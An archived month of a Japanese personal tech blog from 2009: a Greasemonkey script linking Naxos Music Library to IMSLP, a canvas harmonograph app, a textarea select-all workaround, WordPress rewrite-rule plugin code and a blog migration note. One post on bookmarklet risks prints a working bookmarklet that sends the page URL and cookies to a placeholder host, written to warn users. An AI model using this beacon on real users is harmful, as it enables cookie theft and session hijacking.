ホーム > アーカイブ > 2009年7月のアーカイブ

2009年7月のアーカイブ

Naxos Music Library にIMSLPの楽譜を検索するアイコンを追加するGreasemonkeyスクリプト

日々愛用の(主に)クラシック音楽配信サービス Naxos Music Library

音楽を聴きながら楽譜が見れればいいなと思って、パブリックドメインの楽譜を収集・公開しているIMSLPを検索するGreasemonkeyスクリプトを作成した。

こんな感じで表示され、虫眼鏡アイコンをクリックすれば、(運がよければ)IMSLPの作品ページに飛ぶ。

nml2imslp1

中身はかなりおおざっぱで、Naxos Music Library に載っているラテン文字のタイトルを、Googleでsite:imslp.org内を検索するリンクを作成(調名が入ってるとヒットしづらい場合があったので、調名は削除している)。その際に I’m feeling luckey が働くようにリンクを作り、Googleのページを経ずにIMSLPにリダイレクトするようにする。

もちろん、Googleの検索が100%ではないし、I’m feeling luckey の精度も信頼できるものではないが、それでもIMSLPに楽譜があれば、8割くらいヒットすると思う(そしてIMSLPの充実ぶりに驚く。もちろん近現代は少ないけど)。

I’m feeling luckey のリダイレクトが邪魔、という人は、39行目をコメントアウト(行頭に//を書く)、または行ごと削除してしまえば、Googleの検索結果ページへ飛ぶ。

今回、楽しようと思って、jQueryを使った。GreasemonkeyでjQueryが使えると20倍は速くスクリプト書けるね(単に私がJavaScriptのDOM操作に慣れてないからか)。参考というか丸写しにしたのが下記ページ

まあしかし、いつものことながらニッチだなあ・・・。

Harmonograph.js を公開しました

過去にも言及しているハーモノグラフ。振り子の組合せで、振動≒音の調和を視覚化する機械です。

本物をつくるのはちょっと大変なので、JavaScriptとcanvasを利用したWebアプケーションを作りました。

各種パラメータを設定して「Draw」で描画開始。すきなところで一時停止もできて、専用のtumblrへの投稿やローカルへの保存もできます。パラメータはGETでも指定でき、同じ設定を開くパーマリンクも表示されます。

下図は描画例。

  • 長三度(ドとミの音程)
    長3度
  • 完全15度(2オクターブ)
    完全15度
  • 短10度(ドと1オクターブ上のミ♭)
    短10度

インターフェイスに英語・日本語が入り交じってるのは、英語版つくる能力と気力はないけど、日本語わからん人でも適当に触れるようにするため。簡単な英語がわかる日本語ネイティブと、簡単な日本語がわかる日本語非ネイティブだったら、前者のが格段に多いもんね。

英語版WikipediaのHarmonographの項をみると、Web上でハーモノグラフを再現してるのはいくつかあるけど、描画過程が見られて、パラメータが自由に変更できて、保存もできる、というのはいまのとここれだけだと思います。

Firefox / Safari / Chrome / Opera の最新版で問題なく動くはずだけど、IEはcanvas要素サポートしてないので対象外。一応、ExplorerCanvasを入れてるので、描画はできるけど、tumblrへの投稿と、ローカルへの保存はできない(ExplorerCanvasがtoDataURLに対応していないため)。あとChromeもローカルへの保存はできない。

ちなみにWebアプリケーションといいつつ、コアはJavaScriptですので、tumblrへの投稿と投稿取得以外はオフラインでも動いたりします。それにしてもcanvas要素の表現力と描画速度はなかなかすごい。今後の可能性を感じさせます。

ところで、Chromeで動かすと他ブラウザとはくらべものにならないくらい速い。が、描画が荒く、線が途切れたりする。Firefoxが一番綺麗に書ける気がします。

あ、あと当初想定してなかったけど iPhone / iPod touch でも動きます(iPhone OS 3.0 の iPhone 3G で確認)。やるなあiPhone版Safari。

ハーモノグラフについては、Harmonograph.jsでも簡単に解説していますが、より詳しい情報は、アンソニー・アシュトン著「ハーモノグラフ 音がおりなす美の世界 (ピュタゴラスブックス) 」を参照してください。というか少なくとも日本語ではこれ以外の情報は相当少ないです。

過去、ハーモノグラフに言及した記事

Safari / Chrome でテキストエリアをフォーカス時にテキストを全選択する

あんまり技術系の記事ばっかり続けるのも気が引けるんだけど・・・。

ユーザーがコピーする内容をテキストエリア/テキストボックスで表示したとき、クリックしてフォーカスした際にテキストが全選択状態になると便利だ(特に内容が収まりきらない場合)。

Firefox / Opera / IE だと

onfocus="document.form_name.textarea_name.select()";

または

onfocus="this.select()";

で問題なく実現できるのだが、Safari / Chrome (ようはWebkit) だと、うまくいかない。

これで試してみてほしい。

挙動をよく見てみると、マウスのボタンを押す→全選択される→マウスのボタンを離す→選択が解除され、カーソル位置にキャレットが移動する、となる。

つまりこういうことになってるものと思われる。

  • Firefox / IE / Opera
    →マウスのボタンが押され、離れた時点で、キャレット移動→onfocusイベント実行
  • Safari / Chrome
    →マウスのボタンが押された時点でonfocusイベント、離れたらキャレット移動

じゃあ、どうすればいいかといえば、キャレット移動が終わってから選択するようにすればいい。

onfocus="setTimeout(function(){document.form_name.textarea_name.select()},0);"

setTimeoutを利用して、0ミリ秒後に選択している。

一応、これで Firefox / Opera / IE でも Chrome / Safari でも動く。Firefox だとフォーカスする→フォーカスはずす→もっかいフォーカスすると、なぜか選択が解除されちゃうけど、まあ、これくらいはいいかな。

ブックマークレットの実行によりCookieなどを第3者に送信してしまう危険性を認識する

(ブックマークレットの作成者が第3者か、ってのはおいといて。)

今回、別にセキュリティに詳しくないのに書いてるので、詳しい方のつっこみ歓迎。

ブックマークレットとは、あらかじめ保存(普通はブックマーク)しておいた、JavaScriptのコードを任意のWebページ上で実行することで、いろいろな処理を実現できる機能である。

大変便利な技術で、私も1日何度も使っているが、閲覧しているサイトの作成者が意図しないスクリプトを実行する以上、セキュリティリスクもある。

ここでは、ブックマークレットを実行することで、そのページのURLおよび、Cookieの内容を別のサーバに送信できるか試してみる。

データを送信する方法としては、実装が楽そうなWebビーコン方式とする。

javascript:(function(){ var e=document.createElement('img'); e.src='http://example.com/cookiemonster.ico?url='+encodeURIComponent(location.href)+'&cookie='+encodeURIComponent(document.cookie); var b=document.getElementsByTagName('body').item(0); b.appendChild(e); })();

こんなようなブックマークレットを作って(実験では自分のドメインの画像を読み込んだ)、任意のドメインのCookie使ってるサイトで実行してみたところ、当然ながら、そのサイトのURLとCookieの内容を含んだリクエストが送られた(Live HTTP Headersで確認。読み込まれた画像のURL見るだけでもいいけど)。

今回ためした時は、読み込む画像はたんなるPNGファイルなので、アクセスログを見ないと送信されたデータが得られず、めんどくさいが、もちろん実際にはファイルの中身はPHPなどのスクリプトでもよい。

そのスクリプトはリクエストを受けたら、なんらかの処理 – 取得したデータをデータベースに保存しとくとか、自動的にセッションハイジャックするとか – をして、縦横1pxの透明なPNGでも返しとけば気づかれにくい。

もちろん、これだけのコードだったら怪しいのはあきらかだが、これが、何百KBのコードに紛れて、しかもトラフィック節約のために圧縮されてたりしたら、気づくのは難しい(とはいえ、所詮コード全部見えてるんだし、自分の通信を監視すれば、おかしなことやってるのはすぐわかるので、足が付くのは時間の問題。メールのWebビーコンと違って大量にばらまくことはできないし)。

じゃ、ユーザーとしてどんな対策ができるかといえば、ブックマークレットの信頼性別に見ればこんなとこだろうか。

  1. 外部のファイルを読み込んでいない+行っている処理が完全に理解できる+安全性が確認できたブックマークレット
    →安全性が確認できた範囲で使える。
  2. 外部のファイルを読み込んでいない+行っている処理が理解できない部分があるブックマークレット
    →ブックマークレットの作成・配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得た場合は、使えなくもない。おすすめまではしない。
  3. 外部のファイルを読み込んでいるブックマークレット
    →配布者を完全に信用し、かつ信頼できる通信方法でブックマークレットを得ても、外部のファイルを読み込む時点で、ファイル自体や通信が改ざんされる可能性も否定できないので、危険はある。配布者が信用できない場合は論外。

あと、もちろん

  • 他者に知られるとまずい情報が、表示されている・入力する・Cookieに保存されている・表示されてないけどHTMLとかに書いてあるページ、ドメインで上記1以外のブックマークレットを実行しない

というのは原則。

なお、Firefoxユーザーなら、RequestPolicyアドオンを入れてちゃんと運用してれば、別ドメインのファイルを勝手に読み込まないのでオススメ。

まあ、ブックマークレットよりGreasemonkeyスクリプト、ブラウザのプラグイン、スパイウェアなんかのほうがよっぽど数も多いし、危険性も高いけどね。

ちなみに、この記事を書くきっかけとなったのは、PrintWhatYouLikeというサービス。Webページを印刷するのにとても便利だが、ブックマークレットは外部のスクリプト読んでるので、怖いよなあと思って。WebインターフェイスからURL入力で使えば(あるいはそこんとこを自動化するブックマークレットを自分で作れば)、向こうに伝わるのは入力したURLだけなので安心。

WordPressのURLをhackする

hackする、ってほどのことではないんですが、ようやく構造がわかってきたので。メモをかねて。

このブログでは、Wordpressを http://penguinlab.jp/blog にインストールし、記事単一のページのURLを http://penguinlab.jp/blog/post/(一意の記事番号、記事スラッグを利用) にするため、管理ページの「設定」-「パーマリンク設定」で、パーマリンクを post/%postname% とした。

さらに同じ設定ページでカテゴリベースとタグベースを設定した(/blog/category/(カテゴリ名) および /blog/tag/(タグ名) とした)のだが、日付別表示に関してはベースURLの設定がなく、/blog/post/2009/4 のようになってしまう。/blog/postは単一記事専用としたいので、ここは /blog/date/2009/4 のようなかたちにしたいところだ。

いろいろ調べてもいい方法がなさそうだったので、結局プラグインを作ることになった。

WordPressがURLを解決する仕組み

まずはWordpressがインストールされているディレクトリにある.htaccessを見てみよう。

# BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /blog/ RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /blog/index.php [L] </IfModule> # END WordPress

細かいところは違うだろうが、だいたいこのかたちになっているはずだ。5,6行目の「RewriteCond %{REQUEST_FILENAME} !-f 」「RewriteCond %{REQUEST_FILENAME} !-d 」は、リクエストされたファイル/ディレクトリがなければ、7行目の書き換えルールを適用するという意味だ。7行目は全部index.phpにアクセスさせるということを意味する。つまり、リクエストされたとこにファイルかディレクトリがればそれを返し、なければWordpressの index.phpに丸投げしている。

で、index.phpでは、リクエストされたURLを解析してindex.phpにパラメータを付けたかたちに書き換える。たとえば /blog/2009/4は/blog/index.php?year=2009&month=4 のように書き換えられ、投稿日が2009年4月の記事が表示される。試してみるとわかるが、この整形後のURLをブラウザのアドレスバー/ロケーションバーに直接入力してもアクセスできる。

URL書き換えルール

で、じゃあそのURL書き換えルール(Rewrite Rules)をどうやって設定してるかというと、(wordpressのインストールディレクトリ)/wp-include/rewrite.phpでそのルールを作っているらしい。Wordpressの管理者ページの「設定」-「パーマリンク設定」で「変更を保存」した際などにこのルールを作り直してるものと思われる。

で、いま、その整形のルールがどんな風になっているかは Internal Rewrite Viewer というプラグインを導入することでみることができる(インストール→有効化→「設定」-「パーマリンク設定」-「変更を保存」→(ブログURL)/rewritesでアクセスできる)。以下は今回の変更を加える前のURL書き換えルールの抜粋である。

Array ( [post/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$] => index.php?year=$1&monthnum=$2&day=$3 [post/([0-9]{4})/([0-9]{1,2})/?$] => index.php?year=$1&monthnum=$2 [post/([0-9]{4})/?$] => index.php?year=$1 )

URL書き換えルールは連想配列で、キーが表向きのURL、値がindex.phpにパラメータが付いたかたちで定義されているのがわかる。 さてこれをどのように弄ればいいだろうか。

フィルターでURL書き換えルールを書き換える

WordPressはプラグインを使うために、フィルターという仕組みを用意している。

WordPressのソースをみると、プラグインで処理を挟みたいような部分で、apply_filtersという関数が呼ばれている。これは、プラグインがadd_filterという関数で登録した関数を呼び出してくれるものだ。

で、URL書き換えルールを作る部分にもフィルターが設定できる。今回は日付別一覧を弄りたいので、date_rewrite_rulesにフィルターを設定する(「プラグイン API/フィルターフック一覧 – WordPress Codex 日本語版」にURL書き換えのフィルターフック一覧がある)。

フィルター追加のひな形はこんな感じである。

function my_filter($arg){ $result = ""; return $result; } add_filter('date_rewrite_rules', 'my_filter');

呼び出される関数にどんな引数が渡されるかは、フィルターフックによって変わる。どんなものが渡されるかについてはあんまり情報がないので、場合によってはWordpressのソースからapply_filter呼び出してるとこを探すことになる。

date_rewrite_rulesの場合、上でInternal Rewrite Rulesプラグインで見たような、連想配列のかたちで渡される。

あとはフィルター内で好きなように書き換えて返してやればよい。今回は最初のpost/部分をdate/に書き換える。

function add_date_base($rewrite_rules){ $r = array(); while(list ($key, $val) = each($rewrite_rules)) { $r[str_replace('post/', 'date/', $key)] = $val; } return $r; } add_filter('date_rewrite_rules', 'add_date_base');

テンプレートで書き出されるリンク先の変更

これで、思い通りのURLでアクセスする方法はわかったが、まだ1つ問題がある。テンプレートで書き出されるリンクが変更前のままなのである。これもまたフィルターを設定することで解決できる。

プラグイン API/フィルターフック一覧 – WordPress Codex 日本語版にリンク関連のフィルターフック一覧がある。これらのフィルターフックは引数として、URL文字列を渡してくる(http://penguinlab.jp/blog/date/2009 のような、プロトコル名から始まる完全なかたちのURLである)。単なる文字列なので、文字列関数で適当に書き換えて返してやればOKだ。なお、日付別表示のリンクは年別、年月別、年月日別の3種あるので、すべて書き換える。

function add_date_base_link($string){ $string = str_replace('post/', 'date/', $string); return $string; } add_filter('year_link', 'add_date_base_link'); add_filter('month_link', 'add_date_base_link'); add_filter('day_link', 'add_date_base_link');

あとはこれをプラグインにするだけだ。

プラグインの作成、有効化、URL書き換えルールの再作成

WordPressプラグインの作成方法は他所にいくらでも書かれていると思うので、簡単な説明にとどめておく。

まず、さきほど書いたコードにタイトルなどのメタデータを書き加え、適当な名前で(ローカルに)保存しておく。

<?php /* Plugin Name: Add Date Base Description: Add date base Version: 1.0 Author: labocho */ function add_date_base($rewrite_rules){ $r = array(); while(list ($key, $val) = each($rewrite_rules)) { $r[str_replace('post/', 'date/', $key)] = $val; } return $r; } function add_date_base_link($string){ $string = str_replace('post/', 'date/', $string); return $string; } add_filter('year_link', 'add_date_base_link'); add_filter('month_link', 'add_date_base_link'); add_filter('day_link', 'add_date_base_link'); add_filter('date_rewrite_rules', 'add_date_base'); ?>

さらに適当な名前のディレクトリを作成し、この中にさきほど保存したファイルを移動しておく。

次に、これを (WordPressのインストールディレクトリ)/wp-content/plugins の下にディレクトリごとコピーする(あるいはディレクトリごとzipにして、管理ページからアップロードしてもよい)。

あとはWordpressの管理ページを開き「プラグイン」-「インストール済み」にさきほど作成したプラグインが表示されているので、有効化する。

無事、有効化できたら、URL書き換えルールを再作成するために、管理者ページから、「設定」-「パーマリンク設定」-「変更を保存」をクリックする。うまくいっていればこれで作業は完了である。思い通りのURLでアクセス出来るか、確認する。うまくいかない場合は、いや、うまくいった場合でもInternal Rewrite RulesでどのようにURL書き換えルールが変化したか確認しよう。

今回の変更では、上に挙げた部分が以下のように変わっていることを確認した。

Array ( [date/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$] => index.php?year=$1&monthnum=$2&day=$3 [date/([0-9]{4})/([0-9]{1,2})/?$] => index.php?year=$1&monthnum=$2 [date/([0-9]{4})/?$] => index.php?year=$1 )

あとがき

このような方法で、WordpressのURLをかなり柔軟にいじれる。本来ならば、変更前のURLへのアクセスを301リダイレクトするとかも考えるべきだろうが、まあ、許してください。ほんとはこれをもっと汎用的なプラグインにしてwordpress.orgから配信できるといいんだけど、いまのところやる気が足りません。要望があれば考えます。

FC2ブログから、レンタルサーバ+独自ドメイン+WordPressに移行しました

※基本的に記事やブログのトップページへのアクセスは新しいほうへリダイレクトされるはずですが、残念ながらフィードへのアクセスはどうにもできませんでした。FC2ブログのフィードを購読されてる場合、面倒ですが http://penguinlab.jp/blog/feed を購読するようにしてください。あと、FC2ブログがいつまで残っているかはわからないので、ブックマークしている場合は、新しいURLのものをブックマークしなおしてもらったほうがよいです。どうも、面倒かけてすみません。

長年、FC2ブログを使わしてもらってましたが、やはりレンタルブログ(まあいろいろ定義はあると思うが、おおむねあなたのイメージで間違ってないはず)ではカスタマイズにも限界があるので、今年の初めから借りてるレンタルサーバにWordpressをインストールして、そこに移行することにしました。(ついでに長年痛いと思ってたブログのタイトルを変えました。新しいのも痛いという指摘は甘んじて受けます。)

だいたい手順としてはこんな感じだった。

  • Worpressをインストール
  • テーマを探すも、リキッドレイアウトでいいものがない
  • リキッドレイアウトでもいけそうな、CarringtonにCSSを追加して使うことに
  • FC2ブログのエクスポート
  • エクスポートしたデータの修正
  • FC2ブログの画像をダウンロード(サムネイルも)
  • いっかいWordpressにインポート(MovableType形式として)
  • WordPressからエクスポート(WXR形式)
  • wp:post_nameをFC2ブログのblog-entry-***.htmlの***部分と一致するようにする

    ※ここは残念ながら完全に手作業、まだ記事が200件ちょっとだからできたこと。傷は浅いうちに、です。
  • WordPressのパーマリンクをpost/%postname%に変える
  • 新しい記事についてはPost IDがスラッグになるように、Auto-Slugを一部改変して使う
  • FC2ブログのテンプレートを編集して、リダイレクトするように設定

完全にリダイレクト用となったFC2ブログをFC2がいつまで残しといてくれるかは不安ですが、この不安はまあレンタルブログを使い続けた代償ですかね。これで、今後URLが変わる可能性はかなり低くなったので、まあ、良しとします/してください。

なお、Carringtonテーマをリキッドレイアウトにするために加えた変更は以下の通り。これをcss.phpの末尾に追加した。

.wrapper { width: auto !important; margin: 0 1.5em !important; } .section { min-width: 0 !important; } #sidebar{ float:right !important; width:198px !important; } #content{ margin-right: -250px !important; width: 100% !important; } #content > *{ margin-right: 250px !important; } .full-content{ width: auto !important; } .full-title{ width: auto !important; } #all-categories{ width: auto !important; } #header .wrapper{ margin: 0 !important; padding-left: 20px !important; }

参考になったページ:

ホーム > アーカイブ > 2009年7月のアーカイブ

検索
フィード
メタ情報

ページの上部に戻る